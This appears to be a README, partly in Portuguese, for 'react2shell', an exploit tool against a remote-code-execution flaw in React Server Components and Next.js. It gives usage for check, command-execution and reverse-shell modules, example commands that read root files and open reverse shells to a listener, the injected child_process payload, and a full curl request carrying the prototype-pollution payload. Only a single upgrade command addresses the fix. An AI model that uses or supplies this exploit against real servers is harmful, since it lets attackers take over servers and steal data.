git clone https://github.com/SpeatX/react2shell
cd react2shell
pip install requests

python exploit.py <module> -t <target> [options]

Módulos:
  check      Identificar o alvo e confirmar vulnerabilidade
  exec       Executar um único comando do sistema e ler a saída
  revshell   Enviar um reverse shell para o seu listener

Opções:
  -t, --target URL      URL do alvo
  -c CMD                Comando a executar (módulo exec)
  --lhost IP            Seu IP  (detectado automaticamente de tun0 se não definido)
  --lport PORT          Porta de escuta  (padrão: 4444)
  --shell-type TYPE     bash · python3 · nc · mkfifo · node  (padrão: bash)
  --proxy URL           Roteamento através de proxy  (ex: http://127.0.0.1:8080)
  --random-agent        Rotacionar User-Agent a cada requisição
  --timeout N           Tempo limite de requisição  (padrão: 15)

# 1. Confirm the target is vulnerable
python exploit.py check -t http://10.10.11.50

# 2. Run commands to enumerate or grab flags
python exploit.py exec -t http://10.10.11.50 -c "id"
python exploit.py exec -t http://10.10.11.50 -c "cat /root/root.txt"

# 3. Get a shell when you need interactivity
#    (start your listener first: nc -lvnp 4444)
python exploit.py revshell -t http://10.10.11.50
python exploit.py revshell -t http://10.10.11.50 --lhost 10.10.14.5 --lport 4444
python exploit.py revshell -t http://10.10.11.50 --shell-type python3 --lport 9001

python exploit.py check   -t http://10.10.11.50 --proxy http://127.0.0.1:8080
python exploit.py exec    -t http://10.10.11.50 -c "whoami" --random-agent
python exploit.py revshell -t http://10.10.11.50 --proxy http://127.0.0.1:8080

Browser                         Node.js / Next.js
  │                                    │
  │── POST /  ────────────────────────>│
  │   Next-Action: x                   │
  │   Content-Type: multipart/form-data│
  │   Body: poisoned Flight chunk      │
  │                                    │
  │                    react-server    │
  │             resolveModelToJSON()   │  ← vulnerable
  │                                    │
  │<── 307 + X-Action-Redirect ───────│  output here

var res = require('child_process').execSync('<cmd>').toString().trim();
throw Object.assign(new Error('NEXT_REDIRECT'), {
  digest: `NEXT_REDIRECT;push;/login?a=${res};307;`
});

HTTP/1.1 307 Temporary Redirect
X-Action-Redirect: /login?a=uid%3D0%28root%29%20gid%3D0%28root%29;307;

curl -si -X POST http://TARGET/ \
  -H 'Next-Action: x' \
  -H 'Content-Type: multipart/form-data; boundary=----Boundary' \
  --data-binary $'------Boundary\r\nContent-Disposition: form-data; name="0"\r\n\r\n{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\\"then\\":\\"$B1337\\"}","_response":{"_prefix":"var res=process.mainModule.require(\'child_process\').execSync(\'id\').toString().trim().replace(/\\\\n/g,\' | \');;throw Object.assign(new Error(\'NEXT_REDIRECT\'),{digest:`NEXT_REDIRECT;push;/login?a=${res};307;`});","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}\r\n------Boundary\r\nContent-Disposition: form-data; name="1"\r\n\r\n"$@0"\r\n------Boundary\r\nContent-Disposition: form-data; name="2"\r\n\r\n[]\r\n------Boundary--\r\n'

npm install react@latest react-dom@latest next@latest